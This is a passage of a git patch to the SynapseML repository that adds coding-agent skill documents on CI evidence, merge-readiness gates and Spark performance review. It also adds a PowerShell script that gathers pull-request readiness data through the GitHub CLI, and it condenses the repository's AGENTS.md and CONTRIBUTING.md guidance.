real failure until the test counts prove otherwise. + +Job-level status also cannot tell you whether the tests you care about ran. +For any claim about a specific suite, read the per-test results from the test +run the job published, and compare them against a prior build. Comparing +per-test outcomes across builds is the only reliable way to tell a real fix +from a coincidence: a fix that changes nothing will leave the same tests +failing in the same way, which a green/red job summary will not reveal. + +## False-green patterns to reject + +- A job succeeded because the affected tests were skipped. +- The relevant suite was never selected by the matrix and therefore was not + reported as skipped. +- A helper test passed while the transformer/request path remained broken. +- Provider/device discovery succeeded without executing real kernels. +- A custom native or local jar worked although the published artifact lacks it. +- Aggregate CI is green while a required branch replay never ran. +- A CI/path-filter fix passed because its own diff bypassed the path it changed; + no representative product patch exercised the workflow. +- A test count increased but the requested edge case has no assertion. +- Commit ancestry is correct but a merge conflict discarded target content. diff --git a/.github/skills/synapseml-pr-loop/references/readiness-gates.md b/.github/skills/synapseml-pr-loop/references/readiness-gates.md new file mode 100644 index 00000000000..bfa82d833cd --- /dev/null +++ b/.github/skills/synapseml-pr-loop/references/readiness-gates.md @@ -0,0 +1,87 @@ +# Merge-readiness gates + +A SynapseML PR is engineering-ready only when every applicable gate is backed +by current-head evidence. + +## Integration + +- Matching branch context was checked at start, before validation, and before + final push against the target branch's live build and CI files. +- Head is based on the latest target SHA and is not behind. +- Conflicts are resolved by combining independent changes, not choosing a side + wholesale. +- The intended patch remains equivalent after rebase/conflict resolution. +- For overlapping PRs, merge order is explicit and downstream PRs are + revalidated after predecessors merge. +- Local, remote, and GitHub head SHAs match. +- Recently closed/merged related work was checked; valuable follow-ups are + rebased and revalidated, while superseded PRs are closed with an explanation. + +## User value and scope + +- The title and opening description accurately explain the current change and + user value to a human reader; deeper technical evidence follows afterward. +- The original issue and every material discussion point are addressed. +- The behavior is reachable through the published artifact and public API. +- Defaults remain backward compatible, or the intentional change is documented. +- Unsupported cases fail early with actionable errors; no success-shaped + fallback hides missing capability. +- Documentation describes what is shipped, not a custom validation artifact or + an unbundled native/provider. +- Fulfilled linked issues are updated/closed, while distinct unresolved scope + remains open and explicit. + +## Correctness and compatibility + +- Runtime output matches `transformSchema`. +- `copy`, save/load, Params, generated Python, hand-written Python, and other + language bindings preserve behavior. +- Public JVM signatures and serialized shapes pass compatibility review. +- Shared serializers, request models, evaluators, and sibling API variants are + checked for the same defect. +- Native/service behavior is verified past the wrapper boundary. + +## Test quality + +- A regression test demonstrates the old failure. +- Public end-to-end behavior is tested, not only helpers. +- Positive, negative, null/empty, malformed, boundary, and cleanup paths are + covered where relevant. +- Tests assert values, schemas, ordering, resource cleanup, and errors rather + than only "no exception". +- Generated wrappers compile/import, and Python tests exercise the supported + surface when user-facing APIs change. +- Real environment tests exist when emulation cannot prove the claim. + +## Performance and Spark + +- No driver collection, accidental cross join, unbounded materialization, + per-row client/model construction, or unnecessary repartition/shuffle is + introduced. +- DataFrame/Dataset and Spark SQL built-ins are preferred over RDDs and UDFs. +- Cache/persist/broadcast/native resources have bounded lifetimes and cleanup. +- Network/native concurrency has bounds, backpressure, timeout, retry, and + terminal failure behavior. +- Representative before/after measurements show no material regression for a + changed hot path. + +## Review and validation + +- Active review threads: zero. +- No blocking review decision, requested-change vote, ownership gate, or + required coverage failure remains. +- Suppressed/minimized Copilot feedback was read and either fixed or rebutted + with evidence. +- Latest review covers the final head. +- Targeted tests, compile, test compile, style, Black, codegen, Python, and + port-branch compatibility pass as applicable. +- Full Azure Pipelines and required GitHub checks are complete with zero + unexplained failures or pending jobs. +- Skips are expected and documented; a skipped required scenario is a blocker. + +## Honest confidence language + +Use "5/5 engineering confidence" only with the evidence above. State residual +risk explicitly: external service variability, unowned infrastructure, hardware +not available for validation, or required human approval. Never claim absolute +certainty. diff --git a/.github/skills/synapseml-pr-loop/references/spark-performance.md b/.github/skills/synapseml-pr-loop/references/spark-performance.md new file mode 100644 index 00000000000..e041e018a5b --- /dev/null +++ b/.github/skills/synapseml-pr-loop/references/spark-performance.md @@ -0,0 +1,46 @@ +# Spark and performance review + +Apply these checks to every changed execution path. + +## Data movement + +- Prefer DataFrame/Dataset and Spark SQL expressions. +- Avoid `collect`, `toLocalIterator`, driver-side aggregation, RDD conversion, + accidental cartesian products, and unbounded arrays/maps. +- Check partition count, repartition/coalesce choices, shuffles, sorts, joins, + and broadcast size. +- Preserve streaming/lazy execution; do not eagerly scan data merely to + validate a parameter when schema/metadata can answer it. + +## Per-row and per-partition work + +- Construct clients, models, sessions, parsers, and native handles once per + partition or task where safe, not once per row. +- Bound concurrency and queues. Add backpressure, timeouts, cancellation, and + terminal failure propagation. +- Batch remote/native work when the API supports it. +- Avoid repeated serialization, parsing, schema inference, or metric + recomputation. + +## Memory and resources + +- Close streams, sessions, responses, sockets, native handles, and thread pools + on success and failure. +- Unpersist cached RDD/DataFrame or metric intermediates. +- Use bounded buffers and avoid retaining complete partitions or responses. +- Test cleanup, half-close/cancellation, and retry exhaustion. + +## Measurement + +Benchmark the old and new head with the same data, cluster/runtime, warm-up, and +iteration count. Report: + +- dataset dimensions and partitioning; +- hardware/runtime and dependency/native artifact; +- cold and warm timing; +- throughput or latency distribution; +- memory/spill/shuffle when relevant; +- correctness parity. + +Small synthetic tests prove logic, not performance. Use representative scale +and real accelerator/network/service paths for performance claims. diff --git a/.github/skills/synapseml-pr-loop/scripts/Get-PrReadiness.ps1 b/.github/skills/synapseml-pr-loop/scripts/Get-PrReadiness.ps1 new file mode 100644 index 00000000000..481692f102c --- /dev/null +++ b/.github/skills/synapseml-pr-loop/scripts/Get-PrReadiness.ps1 @@ -0,0 +1,211 @@ +<# +.SYNOPSIS + Captures GitHub merge-readiness evidence for one or more pull requests. +.DESCRIPTION + Reports head/base state, target divergence, checks, active review threads, + and review bodies containing suppressed comments. Review threads and reviews + are fully paginated, and the emitted `completeness` object reports page + counts plus any thread whose comments were truncated, so an incomplete + snapshot is visible rather than silent. It does not make the readiness + decision; use the skill's evidence gates for that judgment. Output can + contain review content; keep it local or redact it before sharing. +#> +param( + [Parameter(Mandatory)] + [int[]]$PullRequest, + + [string]$Repo = "microsoft/SynapseML" +) + +$ErrorActionPreference = "Stop" + +if (-not (Get-Command gh -ErrorAction SilentlyContinue)) { + throw "GitHub CLI 'gh' is required." +} + +$repoParts = $Repo.Split("/") +if ($repoParts.Count -ne 2 -or -not $repoParts[0] -or -not $repoParts[1]) { + throw "Repo must use owner/name format; got '$Repo'." +} +$owner = $repoParts[0] +$name = $repoParts[1] + +$threadQuery = @' +query($owner: String!, $name: String!, $number: Int!, $cursor: String) { + repository(owner: $owner, name: $name) { + pullRequest(number: $number) { + reviewThreads(first: 100, after: $cursor) { + pageInfo { hasNextPage endCursor } + nodes { + id + isResolved + isOutdated + path + line + comments(first: 100) { + pageInfo { hasNextPage } + nodes { + author { login } + body + url + } + } + } + } + } + } +} +'@ + +$reviewQuery = @' +query($owner: String!, $name: String!, $number: Int!, $cursor: String) { + repository(owner: $owner, name: $name) { + pullRequest(number: $number) { + reviews(first: 100, after: $cursor) { + pageInfo { hasNextPage endCursor } + nodes { + submittedAt + body + commit { oid } + author { login } + } + } + } + } +} +'@ + +function Invoke-PagedQuery { + param( + [Parameter(Mandatory)][string]$Query, + [Parameter(Mandatory)][string]$Owner, + [Parameter(Mandatory)][string]$Name, + [Parameter(Mandatory)][int]$Number, + [Parameter(Mandatory)][scriptblock]$Select, + [Parameter(Mandatory)][string]$Description + ) + + $nodes = @() + $cursor = $null + $pages = 0 + + do { + $requestCursor = $cursor + $ghArgs = @("api", "graphql", "-f", "query=$Query", + "-F", "owner=$Owner", "-F", "name=$Name", "-F", "number=$Number") + if ($cursor) { $ghArgs += @("-F", "cursor=$cursor") } + + $text = & gh @ghArgs + if ($LASTEXITCODE -ne 0) { + throw "$Description failed for PR #$Number" + } + + $response = $text | ConvertFrom-Json + if ($response.errors) { + $messages = @($response.errors | ForEach-Object { $_.message }) -join "; " + throw "$Description returned GraphQL errors for PR #${Number}: $messages" + } + $pullRequest = $response.data.repository.pullRequest + if (-not $pullRequest) { + throw "$Description returned no pull request data for PR #$Number" + } + $connection = & $Select $pullRequest + if (-not $connection -or -not $connection.pageInfo) { + throw "$Description returned an incomplete connection for PR #$Number" + } + $nodes += @($connection.nodes) + $cursor = $connection.pageInfo.endCursor + $hasNext = $connection.pageInfo.hasNextPage + $pages++ + + # Guard against a cursor that never advances rather than looping forever. + if ($hasNext -and (-not $cursor -or $cursor -eq $requestCursor)) { + throw "$Description reported more pages without advancing the cursor for PR #$Number" + } + } while ($hasNext) + + [pscustomobject]@{ nodes = $nodes; pages = $pages } +} + +$results = @(foreach ($number in $PullRequest) { + $jsonFields = "number,title,state,isDraft,mergeable,mergeStateStatus,reviewDecision," + + "headRefOid,baseRefName,statusCheckRollup,url" + $viewText = & gh pr view $number --repo $Repo --json $jsonFields + if ($LASTEXITCODE -ne 0) { + throw "gh pr view failed for PR #$number" + } + $view = $viewText | ConvertFrom-Json + + $threadPage = Invoke-PagedQuery -Query $threadQuery -Owner $owner -Name $name ` + -Number $number -Description "GraphQL review-thread query" ` + -Select { param($pr) $pr.reviewThreads } + + $reviewPage = Invoke-PagedQuery -Query $reviewQuery -Owner $owner -Name $name ` + -Number $number -Description "GraphQL review query" ` + -Select { param($pr) $pr.reviews } + + # Escape the base ref: branch names legitimately contain '/', which would + # otherwise produce an invalid REST path. + $baseRef = [uri]::EscapeDataString($view.baseRefName) + $compareText = & gh api "repos/$Repo/compare/$baseRef...$($view.headRefOid)" + if ($LASTEXITCODE -ne 0) { + throw "Target comparison failed for PR #$number" + } + $compare = $compareText | ConvertFrom-Json + + $failedChecks = @($view.statusCheckRollup | Where-Object { + $_.conclusion -in @("FAILURE", "CANCELLED", "TIMED_OUT", "ACTION_REQUIRED", "STALE") -or + $_.state -in @("ERROR", "FAILURE") + } | ForEach-Object { if ($_.name) { $_.name } else { $_.context } }) + + $pendingChecks = @($view.statusCheckRollup | Where-Object { + ($_.status -and $_.status -ne "COMPLETED") -or + $_.state -in @("EXPECTED", "PENDING") + } | ForEach-Object { if ($_.name) { $_.name } else { $_.context } }) + + $threads = @($threadPage.nodes) + $unresolved = @($threads | Where-Object { -not $_.isResolved }) + $truncatedThreadComments = @($threads | + Where-Object { $_.comments.pageInfo.hasNextPage } | + ForEach-Object { "$($_.path):$($_.line)" }) + $suppressed = @($reviewPage.nodes | Where-Object { + $_.body -and $_.body -imatch 'suppressed' + } | ForEach-Object { + [pscustomobject]@{ + author = $_.author.login + submittedAt = $_.submittedAt + commit = $_.commit.oid + body = $_.body + } + }) + + [pscustomobject]@{ + number = $view.number + title = $view.title + url = $view.url + state = $view.state + draft = $view.isDraft + mergeable = $view.mergeable + mergeState = $view.mergeStateStatus + reviewDecision = $view.reviewDecision + base = $view.baseRefName + headSha = $view.headRefOid + targetStatus = $compare.status + aheadBy = $compare.ahead_by + behindBy = $compare.behind_by + failedChecks = $failedChecks + pendingChecks = $pendingChecks + unresolvedThreads = $unresolved + suppressedReviewBodies = $suppressed + completeness = [pscustomobject]@{ + reviewThreadPages = $threadPage.pages + reviewThreadCount = $threads.Count + reviewPages = $reviewPage.pages + reviewCount = @($reviewPage.nodes).Count + threadsWithUnreadComments = $truncatedThreadComments + complete = ($truncatedThreadComments.Count -eq 0) + } + } +}) + +ConvertTo-Json -InputObject $results -Depth 12 diff --git a/AGENTS.md b/AGENTS.md index 53a89ff093f..4fef1e0fe56 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -1,392 +1,158 @@ -# SynapseML — instructions for coding agents - -Entry point for coding agents working in this repository. Humans should start -with [CONTRIBUTING.md](CONTRIBUTING.md). - -SynapseML is an open-source library providing scalable machine learning pipelines -for Apache Spark. It wraps algorithms (LightGBM, VW, Azure AI Services, ONNX, -OpenCV) as SparkML-compatible `PipelineStage`s with auto-generated Python -bindings. - -## Read this first - -1. **This file** — architecture, the code generation pipeline, conventions, and - the rules that apply on every branch. -2. **`AGENTS_.md`** — if you are on any branch other than `master`, read - it before changing anything. It records what diverges on that branch and why. - -## Boundaries - -**Never** - -- Edit anything under `target/` — it is generated and overwritten on every build. -- Commit credentials, keys, connection strings, or `.env` files. -- Introduce RDD-based code (see *Common mistakes*). -- Rebase a `spark4.x` branch onto `master`, or force-push a shared branch. - -**Ask first** - -- Changing `pipeline.yaml`, anything under `.github/workflows/`, or release - tooling — these affect every branch and can only be validated by running CI. -- Changing a dependency pin. Pins here are usually load-bearing, and the reason - is often recorded next to them or in `AGENTS_.md`. -- Porting a change between `master` and a `spark4.x` branch, in either - direction. - -**Safe to do without asking** - -- Add or modify Scala sources, tests, and hand-written Python under - `src/main/python/`. -- Run any `sbt` target, the formatters, and the linters. - -## Secrets and credentials - -Tests reach real Azure services and read their credentials from environment -variables and Azure Key Vault at run time. Never hard-code one, never paste one -into a test fixture or notebook, and never echo one into build output. Tests -that cannot find credentials are expected to skip — a skip is the correct -outcome locally, not something to work around by inlining a key. +# SynapseML agent guide + +Use this file for repository-wide rules. Human contributors should start with +[CONTRIBUTING.md](CONTRIBUTING.md). + +## Start here + +1. Resolve the target branch (the PR base, not merely the checked-out feature + branch), then use the + [branch context skill](.github/skills/synapseml-branches/SKILL.md). +2. Read versions from [build.sbt](build.sbt) and + [environment.yml](environment.yml). Do not copy version numbers into this + shared guide. +3. Use the narrowest relevant repository skill: + [Scala changes](.github/skills/scala-code/SKILL.md), + [local setup](.github/skills/synapseml-local-setup/SKILL.md), and + [code review](.github/skills/code-review/SKILL.md). +4. For requests to make one or more issues or PRs "5/5", "200% ready", or + merge-ready, use the + [SynapseML PR loop](.github/skills/synapseml-pr-loop/SKILL.md). + +## Non-negotiable rules + +- Never edit `target/`; generated files are overwritten. +- Never commit or print credentials, keys, connection strings, or `.env` files. +- Do not add RDD-based implementations. Use DataFrame/Dataset APIs so code works + with Spark Connect and managed Spark modes. +- Do not rebase or force-push shared port branches. +- Do not add a hand-written `__init__.py` merely to re-export generated classes; + a stale `__all__` can hide public APIs. +- Keep existing public JVM signatures and serialized parameter shapes unless a + breaking change is explicitly approved. + +Ask before changing [pipeline.yaml](pipeline.yaml), workflows under +[`.github/workflows/`](.github/workflows/), release tooling, or dependency +pins. These changes affect every branch and require CI evidence. ## Branch model -| Branch | Purpose | +| Branch | Use it for | | --- | --- | -| `master` | Mainline. The Spark 3.x line, and the source of truth for everything not version-specific. | -| `spark4.0` | Spark 4.0 port. See `AGENTS_spark4.0.md`. | -| `spark4.1` | Spark 4.1 port. See `AGENTS_spark4.1.md`. | - -Target `master` for ordinary work. Target a `spark4.x` branch only for changes -that exist *because of* that Spark version. - -### Where instructions live - -This file and `CONTRIBUTING.md` are meant to be **byte-identical on every -branch**. So they must stay free of anything a branch would have to edit: Spark, -Scala, Java and Python version numbers, and paths containing a Scala version such -as `target/scala-/`. - -Naming the branches, and the Spark line each one targets, is fine — that is what -the table above is for, and it is the same on every branch. The rule is about -*specific versions*, not about mentioning Spark at all. - -If you find yourself wanting to add a version number here, that is the signal -that it belongs in the branch file instead. The authoritative versions are in -`build.sbt` and `environment.yml`; read them rather than restating them, because -a restated version silently goes stale — that is exactly how the file this one -replaces came to describe a toolchain its branch had not used for months. - -Keeping the shared files identical is not just tidiness: it means a -`master` → branch sync merges them cleanly instead of producing a conflict that -someone has to resolve by hand on every sync. - -## Syncing master into a Spark 4 branch - -These branches are kept current by **merging** `master` in, not by rebasing. -Rebasing discards the accumulated conflict resolutions, which are the real -content of these branches. - -The governing rule when resolving a conflict: - -- Keep the branch's side where the difference exists **because of** the version - upgrade. -- Take master's side otherwise. -- **Combine** where both sides changed for different reasons. This is the case - people get wrong most often — a file can carry both a master bugfix and a - branch-specific adaptation, and taking either side wholesale silently drops - the other. - -To tell which case you are in for a file, compare three versions: the merge -base, master, and the branch. If `git diff master -- ` is -empty, master never touched it and the divergence is deliberate branch work. - -### Verifying a sync actually landed - -Commit reachability is **not** sufficient evidence. `git log master ^` -being empty only proves the commits are ancestors; a conflict resolution can -still have discarded master's side while leaving the merge commit in place. - -Check content instead: for each file master changed, confirm the lines master -added are present in the branch, then classify every difference as either an -intended version-driven divergence or a dropped change. Expect a large number of -legitimate hits — record why each one is intentional rather than skimming past -it. - -## Architecture - -### Module map - -| Module | Directory | Purpose | -|--------|-----------|---------| -| **core** | `core/` | Foundational transformers, featurizers, IO, codegen, automl, causal inference | -| **cognitive** | `cognitive/` | Azure AI Services wrappers (OpenAI, Vision, Speech, Text, etc.) | -| **lightgbm** | `lightgbm/` | LightGBM classifier/regressor/ranker for Spark | -| **vw** | `vw/` | Vowpal Wabbit integration | -| **deep-learning** | `deep-learning/` | ONNX Runtime inference | -| **opencv** | `opencv/` | Image transformations via OpenCV | - -All modules depend on `core`. `deep-learning` also depends on `opencv`. - -### Directory layout (same pattern in every module) - -``` -{module}/ -├── src/ -│ ├── main/ -│ │ ├── scala/com/microsoft/azure/synapse/ml/{package}/ -│ │ │ ├── MyTransformer.scala ← primary source code -│ │ │ └── MyTransformerParams.scala ← parameter traits (optional) -│ │ └── python/synapse/ml/{package}/ -│ │ └── MyTransformer.py ← hand-written Python (if needed) -│ └── test/ -│ ├── scala/com/microsoft/azure/synapse/ml/{package}/ -│ │ └── MyTransformerSuite.scala ← ScalaTest tests -│ └── python/synapsemltest/{package}/ -│ └── test_my_transformer.py ← Python tests -└── target/ - └── scala-/generated/src/python/ ← AUTO-GENERATED (never edit) -``` - -`` is the Scala binary version this branch builds against, so the -generated path differs between branches. Take it from `build.sbt` rather than -assuming, or just glob `target/scala-*/generated/`. - -## Critical: the code generation pipeline - -**SynapseML auto-generates Python wrappers from Scala code.** This is the most -important thing to understand. - -### How it works - -1. A Scala class mixes in the `Wrappable` trait -2. Running `sbt codegen` calls `makePyFile()` which generates a Python class -3. Generated files go to `target/scala-/generated/src/python/synapse/ml/` -4. Generated files use underscore prefix: `_ClassName.py` -5. Hand-written Python in `src/main/python/` can extend the generated class - -### What this means for you - -- **To add or change a feature**: Edit the **Scala** code. The Python wrapper - regenerates automatically. -- **Never edit files in `target/`**: They are overwritten on every build. -- **Hand-written Python** (`src/main/python/`) is only for cases where the - generated wrapper needs manual overrides or additional logic. - -### Example: generated vs hand-written Python - -Generated (DO NOT EDIT): `target/.../synapse/ml/isolationforest/_IsolationForestModel.py` - -Hand-written override (OK to edit): `core/src/main/python/synapse/ml/isolationforest/IsolationForestModel.py` -```python -from synapse.ml.isolationforest._IsolationForestModel import _IsolationForestModel - -class IsolationForestModel(_IsolationForestModel): - def getInnerModel(self): - return self._java_obj.getInnerModel() -``` - -### Hand-written `__init__.py` files - -Do **not** add an `__init__.py` that re-lists classes codegen already exports. -Codegen emits `import *` for every generated module, so a hand-maintained list -adds nothing and goes stale silently — and because these files can define -`__all__`, a stale one actively *narrows* the public surface rather than -extending it. Add one only to export something codegen does not emit. - -## Scala patterns - -### Transformer/Estimator pattern - -Every SynapseML stage follows this pattern: - -```scala -// Copyright (C) Microsoft Corporation. All rights reserved. -// Licensed under the MIT License. See LICENSE in project root for information. - -package com.microsoft.azure.synapse.ml.stages - -import com.microsoft.azure.synapse.ml.codegen.Wrappable -import com.microsoft.azure.synapse.ml.logging.{FeatureNames, SynapseMLLogging} -import org.apache.spark.ml.Transformer -import org.apache.spark.ml.param._ -import org.apache.spark.ml.util._ -import org.apache.spark.sql.types._ -import org.apache.spark.sql.{DataFrame, Dataset} - -object DropColumns extends DefaultParamsReadable[DropColumns] - -class DropColumns(val uid: String) - extends Transformer with Wrappable with DefaultParamsWritable with SynapseMLLogging { - logClass(FeatureNames.Core) - - def this() = this(Identifiable.randomUID("DropColumns")) - - val cols: StringArrayParam = - new StringArrayParam(this, "cols", "Comma separated list of column names") - - def getCols: Array[String] = $(cols) - def setCols(value: Array[String]): this.type = set(cols, value) - - override def transform(dataset: Dataset[_]): DataFrame = { - logTransform[DataFrame]({ - dataset.toDF().drop(getCols: _*) - }, dataset.columns.length) - } - - def transformSchema(schema: StructType): StructType = { - val droppedCols = getCols.toSet - StructType(schema.fields.filter(f => !droppedCols(f.name))) - } - - def copy(extra: ParamMap): DropColumns = defaultCopy(extra) -} -``` - -### Key conventions - -- **Companion object**: Always add `extends DefaultParamsReadable[ClassName]` - for model serialization. -- **`Wrappable` trait**: Required for Python code generation. Without it, no - Python wrapper is created. -- **`SynapseMLLogging` trait**: Required on all transformers/estimators. Call - `logClass(FeatureNames.X)` in the constructor and wrap `transform`/`fit` - with `logTransform`/`logFit`. -- **Parameter traits**: For complex stages, define params in a separate trait - (e.g., `trait MyParams extends Wrappable with HasInputCol`) and mix it into - the class. This is the SynapseML composition pattern. -- **`uid` parameter**: Every stage must accept `uid: String` and provide a - no-arg constructor that generates a random UID. - -### Cognitive module (Azure AI Services) - -The `cognitive` module follows a different pattern using service-oriented traits: -```scala -trait HasServiceParams extends Params // base for all service parameters -trait HasSubscriptionKey extends HasServiceParams -trait HasAADToken extends HasServiceParams -``` -Services extend `CognitiveServicesBase` instead of raw `Transformer`. - -### File headers - -Every Scala file **must** start with this exact header (enforced by scalastyle): -```scala -// Copyright (C) Microsoft Corporation. All rights reserved. -// Licensed under the MIT License. See LICENSE in project root for information. - -package com.microsoft.azure.synapse.ml.{package} -``` - -Python files use the same copyright comment: -```python -# Copyright (C) Microsoft Corporation. All rights reserved. -# Licensed under the MIT License. See LICENSE in project root for information. -``` - -## Build system - -SynapseML uses **sbt** (not Maven or Gradle). The Spark, Scala, Java and Python -versions differ per branch — read them from `build.sbt` and `environment.yml`, -and see `AGENTS_.md` for the branch you are on. - -### Essential commands +| `master` | Ordinary features, fixes, and repository-wide changes | +| `spark` port branches | Differences required specifically by that Spark port | + +Run `git branch -r` to see which port branches currently exist; this guide does +not name them, so that adding one does not require editing a file that must stay +identical on every branch. + +Land cross-version changes on `master`; port branches receive them by merging +`master`. When resolving a port-branch merge: + +- keep the branch side only for version-driven differences; +- take the `master` side for ordinary fixes; +- combine both when each changed the same file for a different reason. + +Reachability is not proof that a sync preserved content. Compare the merge base, +`master`, and the port branch for every conflicted file, and verify that +`master` additions remain present. + +`AGENTS.md` and [CONTRIBUTING.md](CONTRIBUTING.md) must stay identical across +branches, so neither may name a Spark, Scala, Java, or Python version, or a path +containing one. Put branch-only facts in the +[branch context skill](.github/skills/synapseml-branches/SKILL.md). Every other +document — [README.md](README.md), the website, and module docs — is free to be +branch- and version-specific, because nothing requires those to match across +branches. + +## Repository map + +| Module | Path | Purpose | +| --- | --- | --- | +| Core | [`core/`](core/) | SparkML foundations, IO, codegen, AutoML, causal and exploratory tools | +| Cognitive | [`cognitive/`](cognitive/) | Azure AI and OpenAI service stages | +| LightGBM | [`lightgbm/`](lightgbm/) | Distributed classifier, regressor, and ranker | +| Vowpal Wabbit | [`vw/`](vw/) | VW integration | +| Deep learning | [`deep-learning/`](deep-learning/) | ONNX Runtime inference | +| OpenCV | [`opencv/`](opencv/) | Image transformations | + +All modules depend on `core`; `deep-learning` also depends on `opencv`. + +Each module follows `src/main/scala`, optional hand-written +`src/main/python`, and `src/test/{scala,python}`. Follow nearby code before +introducing a new pattern. + +## Scala-first API and code generation + +Public SparkML behavior belongs in Scala. Classes mixing in +[`Wrappable`](core/src/main/scala/com/microsoft/azure/synapse/ml/codegen/Wrappable.scala) +generate Python wrappers under +`target/scala-*/generated/src/python/synapse/ml/`. + +For a new or changed stage, verify: + +- companion object extends `DefaultParamsReadable[Stage]`; +- class accepts `uid: String` and has a random-UID no-arg constructor; +- `Wrappable` is present when a Python wrapper is required; +- [`SynapseMLLogging`](core/src/main/scala/com/microsoft/azure/synapse/ml/logging/SynapseMLLogging.scala) + is mixed in, `logClass(...)` is called, and `fit`/`transform` is logged; +- `copy(extra)` preserves parameters, normally through `defaultCopy(extra)`; +- `transformSchema` matches runtime output; +- save/load and generated wrapper behavior are tested. + +Hand-written Python may extend a generated `_ClassName` wrapper when JVM +delegation needs a Python convenience method. Do not move core behavior into +Python. + +## Validation + +Use the smallest command that proves the change, then expand when the affected +surface requires it. Run SBT with the JDK selected by the +[local setup skill](.github/skills/synapseml-local-setup/SKILL.md), not the +machine default. ```bash -sbt compile # compile all modules -sbt Test/compile # compile all tests -sbt core/compile # compile just the core module -sbt scalastyle Test/scalastyle # run Scala style checks -sbt codegen # regenerate Python/R wrappers from Scala -``` - -### Python style - -- **Formatter**: `black` pinned to **22.3.0** (configured in `pyproject.toml`) -- **Environment**: conda env named `synapseml` (defined in `environment.yml`) -- Run locally: `black --check --extend-exclude 'docs/' .` - -Using a newer black reports spurious failures. - -### Scalastyle rules - -- Max file length: 800 lines -- Max line length: 120 characters -- No tabs, no trailing whitespace -- License header required (see above) -- Token names max 40 characters - -## Testing - -### Scala tests - -- **Framework**: ScalaTest (`AnyFunSuite` via `TestBase` trait) -- **SparkSession**: Provided automatically by `TestBase` (local mode) -- **Test location**: `{module}/src/test/scala/com/microsoft/azure/synapse/ml/{package}/` - -```scala -class MyTransformerSuite extends TestBase { - test("MyTransformer should transform data") { - val df = spark.createDataFrame(Seq(("a", 1), ("b", 2))).toDF("col1", "col2") - val result = new MyTransformer().setCols(Array("col1")).transform(df) - assert(result.columns.length == 1) - } -} +sbt /compile +sbt /Test/compile +sbt "/testOnly fully.qualified.Suite" +sbt /scalastyle /Test/scalastyle +sbt codegen +black --check --extend-exclude 'docs/' . ``` -Tests that call Azure services or require external resources will be skipped -without credentials. Pure Spark tests run anywhere. - -### Python tests - -- Located in `{module}/src/test/python/synapsemltest/` -- Require PySpark and the `synapseml` conda environment -- Run via: `sbt "testOnly *PythonTests*"` (runs through sbt, not pytest directly) - -## CI and pull requests - -- **Main build**: Azure DevOps pipeline (`pipeline.yaml`) — full test suite, 45+ min -- **GitHub Actions**: Lightweight checks only (style, compile, dead links, dependency review) -- **PR feedback**: GitHub Actions runs in ~5 min; the Azure DevOps run is triggered - by an `/azp run` comment. That comment does **not** work on every branch — see - `AGENTS_.md` before concluding the pipeline is broken. -- **PR titles**: Must follow conventional commits (`feat:`, `fix:`, `ci:`, - `chore:`, `test:`, `docs:`). The title is linted; the body is not. -- **Target branch**: see *Branch model* above. Retargeting a PR after review has - started loses the review, so get this right before opening it. -- **Green is not the same as correct.** Before believing a fix worked, compare - the failing tests before and after. A suite can fail identically for a - different reason, and a newly added test passing says nothing about the tests - a change breaks. - -## Common mistakes - -1. **Editing generated Python files** — They live in `target/` and are overwritten. - Edit the Scala source instead. -2. **Forgetting `Wrappable`** — If you add a new Scala transformer and forget - `with Wrappable`, it won't get a Python wrapper. -3. **Forgetting `SynapseMLLogging`** — All stages must mix in this trait and - call `logClass()` in the constructor. -4. **Missing companion object** — Without `object Foo extends DefaultParamsReadable[Foo]`, - model deserialization will fail. -5. **Wrong black version** — Using latest black instead of 22.3.0 will show - false formatting failures. -6. **Putting logic in Python** — SynapseML is Scala-first. Python wrappers - delegate to the JVM. Put business logic in Scala. -7. **Missing license header** — Scalastyle will reject files without the - Microsoft copyright header. -8. **Using RDD API** — SynapseML uses the DataFrame/Dataset API exclusively. - Never introduce RDD-based code. Beyond style, it does not work under Spark - Connect or Databricks Unity Catalog standard and serverless modes. -9. **Re-listing generated classes in an `__init__.py`** — see above; it narrows - the public API instead of extending it. - -## Working effectively - -- Prefer measuring over asserting. Where a claim can be checked with a command, - check it, and prefer the smallest command that covers the change. -- Sanity-check negative results before trusting them. A search that returns - nothing because a tool is missing looks exactly like a search that returns - nothing because the thing is absent; confirm with a case you know should - match. -- Record *why* a divergence exists at the point it is introduced — in a comment - next to the change and, if it is durable, in `AGENTS_.md`. A pin with - no rationale gets "helpfully" reverted by the next sync. +Black is pinned in [pyproject.toml](pyproject.toml); use that version. + +Scala tests extend +[`TestBase`](core/src/test/scala/com/microsoft/azure/synapse/ml/core/test/base/TestBase.scala). +Add positive, negative, schema, persistence, and end-to-end coverage where the +behavior warrants it. A helper-only test is not proof that the public +transformer path works. + +Tests that require Azure credentials should skip when credentials are absent. +Do not turn a skip into a pass by embedding a secret. Inspect service tests +before running them because some create or delete cloud resources. + +## Pull requests and CI + +- Use a conventional title: `feat:`, `fix:`, `test:`, `docs:`, `ci:`, or + `chore:`. +- Target `master` unless the change exists only for a port branch. +- Resolve active and suppressed review findings; document why any finding is + invalid. +- Trigger Azure validation with `/azp run` where supported. Branch-specific + exceptions are documented in the + [branch context skill](.github/skills/synapseml-branches/SKILL.md). +- Treat [GitHub Actions](.github/workflows/) as fast checks and + [pipeline.yaml](pipeline.yaml) as the full build. +- Do not equate green checks with correctness: compare before/after failures, + inspect skipped tests, and verify the requested behavior directly. +- Rebase feature PRs onto the latest target before final validation. Merge + `master` into shared port branches instead of rebasing them. + +## Keep this file useful + +Add only durable, repository-wide guidance that changes an agent's decision. +Prefer a link to the source of truth over copied commands, versions, or long +examples. Put implementation detail beside the code, contributor process in +[CONTRIBUTING.md](CONTRIBUTING.md), and branch-specific facts in +the [branch context skill](.github/skills/synapseml-branches/SKILL.md). diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index c3e9563a88b..a764e46ee60 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -22,10 +22,11 @@ this process: Most contributions target `master`. This repository also maintains ports of the library to newer Spark versions on -long-lived branches (`spark4.0`, `spark4.1`). Target one of those only when the -change exists *because of* that Spark version — for example, replacing an API -that behaves differently there. Ordinary bug fixes and new features belong on -`master` and reach the port branches when `master` is merged into them. +long-lived branches named `spark`. Run `git branch -r` to see which +ones currently exist. Target one of those only when the change exists *because +of* that Spark version — for example, replacing an API that behaves differently +there. Ordinary bug fixes and new features belong on `master` and reach the port +branches when `master` is merged into them. If a fix applies everywhere, land it on `master` first so the port branches inherit it on the next sync. Fixing the same thing separately on each branch From 704fb34a51072af56157bf4dade33f4b82dcf129 Mon Sep 17 00:00:00 